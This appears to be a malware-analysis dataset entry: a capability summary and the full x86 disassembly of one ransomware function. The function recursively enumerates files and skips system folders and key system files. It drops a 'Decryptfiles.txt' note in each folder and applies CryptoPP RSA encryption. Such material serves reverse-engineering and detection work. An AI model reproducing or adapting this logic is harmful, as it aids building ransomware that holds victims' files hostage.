Function at 0x40df60
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4852d7
mov eax, dword fs:[0]
push eax
sub esp, 0x7c4
mov eax, dword [0x4b7134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x714], ebx
mov dword [ebp - 0x70c], 0
mov dword [ebp - 4], 1
test ebx, ebx
je 0x40dfe8
mov ecx, 0x104
mov eax, ebx
cmp word [eax], 0
je 0x40dfc0
add eax, 2
sub ecx, 1
jne 0x40dfb2
mov eax, 0x104
mov edx, ecx
sub eax, ecx
neg edx
sbb edx, edx
and edx, eax
test ecx, ecx
je 0x40dfe8
cmp edx, 0x101
jbe 0x40dfe8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x40ef49
lea ecx, [ebp - 0x420]
mov esi, ebx
mov eax, ecx
mov edx, 0x104
sub esi, eax
nop dword [eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x40e01e
movzx eax, word [ecx + esi]
test ax, ax
je 0x40e01e
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x40e000
lea eax, [ecx - 2]
test edx, edx
push 0x4a5ee4
cmovne eax, ecx
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x420]
call fcn.0040ae10
lea eax, [ebp - 0x704]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x710], eax
cmp eax, 0xffffffff
jne 0x40e06b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov esi, eax
jmp 0x40ef49
xor edi, edi
nop dword [eax]
inc edi
lea eax, [ebp - 0x218]
test byte [ebp - 0x704], 0x10
mov edx, 0x104
mov dword [ebp - 0x718], edi
mov esi, ebx
mov ecx, eax
je 0x40e89d
sub esi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x40e0b3
movzx ecx, word [eax + esi]
test cx, cx
je 0x40e0b3
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x40e095
lea ecx, [eax - 2]
test edx, edx
push 0x4a5eec
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
mov ecx, ebx
mov dword [ebp - 0x480], 0
xor eax, eax
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e110
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x480]
call fcn.00418060
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x480]
cmp dword [ebp - 0x46c], 8
mov eax, dword [ebp - 0x470]
cmovae ecx, dword [ebp - 0x480]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x468]
call fcn.0041a9b0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x218]
xor eax, eax
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x440], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e1a0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x450]
call fcn.00418060
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
mov eax, dword [ebp - 0x440]
cmovae ecx, dword [ebp - 0x450]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x438]
call fcn.0041a9b0
mov byte [ebp - 4], 5
cmp edi, 2
jle 0x40e635
cmp dword [ebp - 0x458], 1
jne 0x40e246
cmp dword [ebp - 0x454], 0x10
lea ecx, [ebp - 0x468]
push 1
cmovae ecx, dword [ebp - 0x468]
mov edx, 1
push 0x4a5ee0
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e635
mov edi, dword [ebp - 0x424]
lea ecx, [ebp - 0x438]
mov esi, dword [ebp - 0x438]
cmp edi, 0x10
mov ebx, dword [ebp - 0x428]
mov edx, ebx
push 0xf
cmovae ecx, esi
push str.:_Program_Files
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0x15
cmovae ecx, esi
mov edx, ebx
push str.:_Program_Files__x86_
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0xd
cmovae ecx, esi
mov edx, ebx
push str.:_Tor_Browser
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0xd
cmovae ecx, esi
mov edx, ebx
push str.:_ProgramData
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 9
cmovae ecx, esi
mov edx, ebx
push str.:_Windows
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0xe
cmovae ecx, esi
mov edx, ebx
push str.cache2_entries
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0x17
cmovae ecx, esi
mov edx, ebx
push str.User_Data_Default_cache
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 9
cmovae ecx, esi
mov edx, ebx
push str.All_Users
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0xd
cmovae ecx, esi
mov edx, ebx
push str.AppData_Local
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 7
cmovae ecx, esi
mov edx, ebx
push str.:_Games
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0x11
cmovae ecx, esi
mov edx, ebx
push str.:_Users_All_Users
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
cmp edi, 0x10
lea ecx, [ebp - 0x438]
push 0xf
cmovae ecx, esi
mov edx, ebx
push str._Local_Settings
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e76f
xor eax, eax
mov dword [ebp - 0x498], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
lea edx, [ecx + 2]
mov word [ebp - 0x498], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e460
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x498]
call fcn.00418060
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x498]
cmp dword [ebp - 0x484], 8
mov eax, dword [ebp - 0x488]
cmovae ecx, dword [ebp - 0x498]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x498]
cmovae ecx, dword [ebp - 0x498]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0041a9b0
push str.Decryptfiles.txt
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 4], 7
call fcn.00415ed0
cmp dword [ebp - 0x4a0], 0x10
lea ecx, [ebp - 0x4b4]
push 1
cmovae ecx, dword [ebp - 0x4b4]
lea eax, [ebp + 0x48]
cmp dword [ebp + 0x5c], 0x10
push ecx
cmovae eax, dword [ebp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0x18
lea eax, [ebp + 0x48]
mov ecx, esp
mov dword [ebp - 0x708], esp
push eax
call fcn.00416000
sub esp, 0x40
mov esi, esp
mov dword [ebp - 0x71c], esi
mov dword [esi + 8], 0x4a6c9c
mov dword [esi + 0x3c], vtable.CryptoPP::NameValuePairs.0
or dword [ebp - 0x70c], 1
mov eax, dword [esi + 8]
mov dword [esi + 4], vtable.CryptoPP::X509PublicKey.0
mov eax, dword [eax + 4]
mov dword [eax + esi + 8], vtable.CryptoPP::X509PublicKey.1.0
mov dword [ebp - 4], 0xa
lea ecx, [esi + 0xc]
mov eax, dword [esi + 8]
mov dword [esi], vtable.CryptoPP::RSAFunction.0
mov dword [esi + 4], vtable.CryptoPP::RSAFunction.1.0
mov eax, dword [eax + 4]
mov dword [eax + esi + 8], vtable.CryptoPP::RSAFunction.2.0
lea eax, [ebp + 0x14]
push eax
call fcn.00425400
lea eax, [ebp + 0x2c]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [esi + 0x24]
call fcn.00425400
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 7
call fcn.0040df60
mov byte [ebp - 4], 6
add esp, 0x58
mov edx, dword [ebp - 0x4a0]
cmp edx, 0x10
jb 0x40e5d6
mov ecx, dword [ebp - 0x4b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e5cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x484]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 0xf
mov byte [ebp - 0x4b4], 0
cmp edx, 8
jb 0x40e635
mov ecx, dword [ebp - 0x498]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e62b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x424]
cmp edx, 0x10
jb 0x40e673
mov ecx, dword [ebp - 0x438]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e669
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
cmp edx, 8
jb 0x40e6d2
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e6c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
cmp eax, 0x10
jb 0x40e72f
mov ecx, dword [ebp - 0x468]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e725
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 8
jb 0x40ef07
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
jmp 0x40eedf
mov byte [ebp - 4], 4
cmp edi, 0x10
jb 0x40e7a1
inc edi
mov eax, esi
cmp edi, 0x1000
jb 0x40e797
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edi
push esi
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
cmp edx, 8
jb 0x40e800
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e7f6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
cmp eax, 0x10
jb 0x40e85d
mov ecx, dword [ebp - 0x468]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e853
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 8
jb 0x40ef07
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
jmp 0x40eedf
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x40e8be
movzx eax, word [esi + ecx]
test ax, ax
je 0x40e8be
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x40e8a0
lea eax, [ecx - 2]
test edx, edx
push 0x4a5eec
cmovne eax, ecx
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x218]
call fcn.0040ae10
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
push 0x5f
mov dword [ebp - 0x498], 0
lea ecx, [ebp - 0x498]
push str.boot.inidesktop.inintuser.daticoncache.dbbootsect.bakntuser.dat.logBootfont.binDecryptfiles.txt
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
call fcn.004184a0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x6d8]
xor eax, eax
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x440], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e960
sub ecx, edx
lea eax, [ebp - 0x6d8]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x450]
call fcn.00418060
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
mov eax, dword [ebp - 0x440]
cmovae ecx, dword [ebp - 0x450]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x468]
call fcn.0041a9b0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x438]
push 0x14
mov dword [ebp - 0x438], 0
push str..dll.exe.sys.mof.lnk
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
call fcn.004184a0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x468]
mov ebx, dword [ebp - 0x454]
cmp ebx, 0x10
mov esi, dword [ebp - 0x468]
cmovae ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ea18
push dword [ebp - 0x458]
sub ecx, edx
lea eax, [ebp - 0x468]
mov edx, dword [ebp - 0x488]
cmp ebx, 0x10
cmovae eax, esi
add eax, 0xfffffffc
add eax, ecx
cmp ebx, 0x10
mov dword [ebp - 0x708], eax
lea ecx, [ebp - 0x498]
lea eax, [ebp - 0x468]
cmovae eax, esi
cmp dword [ebp - 0x484], 0x10
push eax
cmovae ecx, dword [ebp - 0x498]
push ecx
call fcn.0041b250
mov edi, dword [ebp - 0x438]
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40edbc
mov edx, dword [ebp - 0x708]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40ea86
sub edx, ecx
cmp dword [ebp - 0x424], 0x10
push edx
push dword [ebp - 0x708]
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmovae ecx, edi
push ecx
call fcn.0041b250
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40edbc
xor eax, eax
mov dword [ebp - 0x480], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
lea edx, [ecx + 2]
mov word [ebp - 0x480], ax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40eaf0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x480]
call fcn.00418060
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x480]
cmp dword [ebp - 0x46c], 8
mov eax, dword [ebp - 0x470]
cmovae ecx, dword [ebp - 0x480]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0041a9b0
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x774]
call fcn.00416000
lea eax, [ebp - 0x75c]
mov dword [ebp - 0x754], 0x4a6c9c
mov dword [ebp - 0x708], eax
or dword [ebp - 0x70c], 2
mov dword [ebp - 4], 0x14
lea eax, [ebp + 0x14]
push eax
lea ecx, [ebp - 0x750]
mov dword [ebp - method.CryptoPP::RSAFunction.virtual_0], vtable.CryptoPP::RSAFunction.0
mov dword [ebp - method.CryptoPP::RSAFunction.1.virtual_0], vtable.CryptoPP::RSAFunction.1.0
mov dword [ebp - method.CryptoPP::RSAFunction.2.virtual_0], vtable.CryptoPP::RSAFunction.2.0
call fcn.00425400
lea eax, [ebp + 0x2c]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x738]
call fcn.00425400
lea eax, [ebp - 0x774]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x7cc]
mov dword [ebp - 0x708], 0x4bef14
mov byte [ebp - 0x7cf], 1
call fcn.0041d8f0
lea eax, [ebp - 0x499]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x7d0]
push eax
lea ecx, [ebp - 0x708]
call fcn.0041d730
lea ecx, [ebp - 0x7cc]
call fcn.0040efb0
lea ecx, [ebp - 0x75c]
mov byte [ebp - 4], 0x11
call fcn.00409ad0
mov edx, dword [ebp - 0x760]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
cmp edx, 0x10
jb 0x40ec6a
mov ecx, dword [ebp - 0x774]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ec60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x4a0]
cmp edx, 0x10
jb 0x40eca8
mov ecx, dword [ebp - 0x4b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ec9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 0xf
mov byte [ebp - 0x4b4], 0
cmp edx, 8
jb 0x40ed07
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ecfd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x424]
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
cmp edx, 0x10
jb 0x40ed62
mov ecx, dword [ebp - 0x438]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ed58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x454]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
cmp edx, 0x10
jb 0x40ee51
mov ecx, dword [ebp - 0x468]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40edb5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
jmp 0x40ee49
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x424]
cmp eax, 0x10
jb 0x40ee02
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40edec
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push ecx
push edi
call fcn.0045d6e8
mov ebx, dword [ebp - 0x454]
add esp, 8
mov esi, dword [ebp - 0x468]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
mov byte [ebp - 4], 0xd
cmp ebx, 0x10
jb 0x40ee51
lea ecx, [ebx + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40ee47
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push ecx
push esi
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x43c]
mov byte [ebp - 0x468], 0
mov dword [ebp - 0x454], 0xf
mov dword [ebp - 0x458], 0
cmp edx, 8
jb 0x40eeb0
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40eea6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov byte [ebp - 4], 1
xor eax, eax
mov edx, dword [ebp - 0x484]
mov word [ebp - 0x450], ax
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
cmp edx, 0x10
jb 0x40ef07
mov ecx, dword [ebp - 0x498]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eefd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov ebx, dword [ebp - 0x710]
lea eax, [ebp - 0x704]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x40ef30
mov ebx, dword [ebp - 0x714]
mov edi, dword [ebp - 0x718]
jmp 0x40e070
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x40ef49
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 1
lea ecx, [ebp + 8]
call fcn.00409ad0
mov edx, dword [ebp + 0x5c]
mov dword [ebp + 0x44], vtable.CryptoPP::NameValuePairs.0
cmp edx, 0x10
jb 0x40ef88
mov ecx, dword [ebp + 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ef7e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40efa6
push edx
push ecx
call fcn.0045d6e8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d23f
mov esp, ebp
pop ebp
ret
call fcn.0046c28d
int3